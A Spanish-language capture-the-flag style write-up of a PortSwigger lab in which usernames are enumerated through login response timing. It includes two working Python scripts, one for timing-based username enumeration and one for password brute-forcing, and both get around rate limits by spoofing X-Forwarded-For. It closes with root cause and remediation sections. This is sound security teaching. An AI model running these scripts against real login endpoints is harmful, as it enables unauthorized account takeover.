← Writeups

Username Enumeration via Response Timing — PortSwigger Lab

Enumeración de usuarios por side-channel de timing: el login con usuario válido y contraseña larga tarda >3s; bypass del rate limit con X-Forwarded-For.

Username Enumeration via Response Timing

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Media
Endpoint vulnerable POST /login
Root cause La app ejecuta una comparación de contraseña costosa solo cuando el usuario existe, creando un side-channel de timing; además, el rate limit es eludible vía X-Forwarded-For

El endpoint aplica un hash de la contraseña solo cuando el usuario existe, de modo que el tiempo de respuesta es proporcional a la existencia de la cuenta. Enviando contraseñas muy largas se amplifica la diferencia de timing. El rate limit de intentos se evade con la cabecera X-Forwarded-For.

2. Technical Breakdown & Exploitation Flow

2.1 Benchmark del side-channel de timing

Con las credenciales propias se mide la latencia variando el input de password:

Escenario Latencia
Usuario incorrecto + password incorrecta ~900 ms
Usuario correcto + password incorrecta ~896 ms (casi idéntico)
Usuario correcto + blob de strings (openssl rand -hex 200) ~2.6 s
Usuario incorrecto + blob de strings ~650 ms

Conclusión: el usuario es correcto cuando la respuesta supera los ~3 segundos usando contraseñas largas.

2.2 Enumeración de usuarios con Python

El script envía una contraseña aleatoria de 699 caracteres por candidato y mide el tiempo de respuesta; cada request usa una IP distinta en X-Forwarded-For para evadir el rate limit:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep, time
from string import ascii_lowercase
import random

def fetchUsername(filename):
    listUsername = list()
    with open(filename) as fd:
        for line in fd:
            listUsername.append(line.strip())
    return listUsername

def sendRequest(url, cookie, username, header):
    randomPassword = ''.join(random.choices(ascii_lowercase, k=699))
    loginData = {'username': username, 'password': randomPassword}
    startTime = time()
    requests.post(url, cookies=cookie, data=loginData, headers=header)
    endTime = time()
    if endTime - startTime >= 3:
        print(f'[+] Found user: {username}')

def main():
    url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
    cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
    userFileName = './users.txt'
    listUsername = fetchUsername(userFileName)
    count = 0
    for username in listUsername:
        count += 1
        header = {'X-Forwarded-For': '1.1.1.' + str(count)}
        thread = Thread(target=sendRequest, args=(url, cookie, username, header))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

El umbral >= 3 segundos marca a los usuarios existentes.

2.3 Enumeración de la contraseña

Una vez identificado el usuario (root), se fuerza la contraseña filtrando el error Invalid username or password. y rotando IPs en X-Forwarded-For:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchPassword(filename):
    listPassword = list()
    with open(filename) as fd:
        for line in fd:
            listPassword.append(line.strip())
    return listPassword

def sendRequest(url, cookie, password, header):
    loginData = {'username': 'root', 'password': password}
    loginRequestText = requests.post(url, cookies=cookie, data=loginData, headers=header).text
    if 'Invalid username or password.' not in loginRequestText:
        print(f'[+] Found password: {password}')

def main():
    url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
    cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
    passwordFileName = './pass.txt'
    listPassword = fetchPassword(passwordFileName)
    count = 0
    for password in listPassword:
        count += 1
        header = {'X-Forwarded-For': '1.1.2.' + str(count)}
        thread = Thread(target=sendRequest, args=(url, cookie, password, header))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

3. Root Cause Analysis

La causa raíz es ejecutar la verificación de credenciales de forma condicionada a la existencia del usuario:

# Implementación vulnerable
user = db.get_user(request.username)
if user is None:
    sleep(0.5)                     # Respuesta corta
    return "Invalid username or password."
return verify_and_hash(user, request.password)   # Coste O(len(password)) solo si existe

Con un password de ~700 caracteres, la operación de hashing domina la latencia y el side-channel se amplifica. El rate limit, además, cuenta por IP del header X-Forwarded-For sin verificar el origen real del encabezado.

4. Secure Remediation

Uniformar el coste computacional y validar el origen del proxy:

# Implementación segura
user = db.get_user(request.username)
generic_hash = compute_hash(random_salt, request.password)   # Siempre se ejecuta

if user is None or not valid_credentials(user, request.password):
    return "Invalid username or password"                     # Mismo texto y timing

El hash debe ejecutarse en ambos casos (usuario existente o no) con un coste constante. El proxy debe sobrescribir o eliminar X-Forwarded-For y el rate limit debe basarse en la IP real de la conexión, no en cabeceras controlables por el cliente.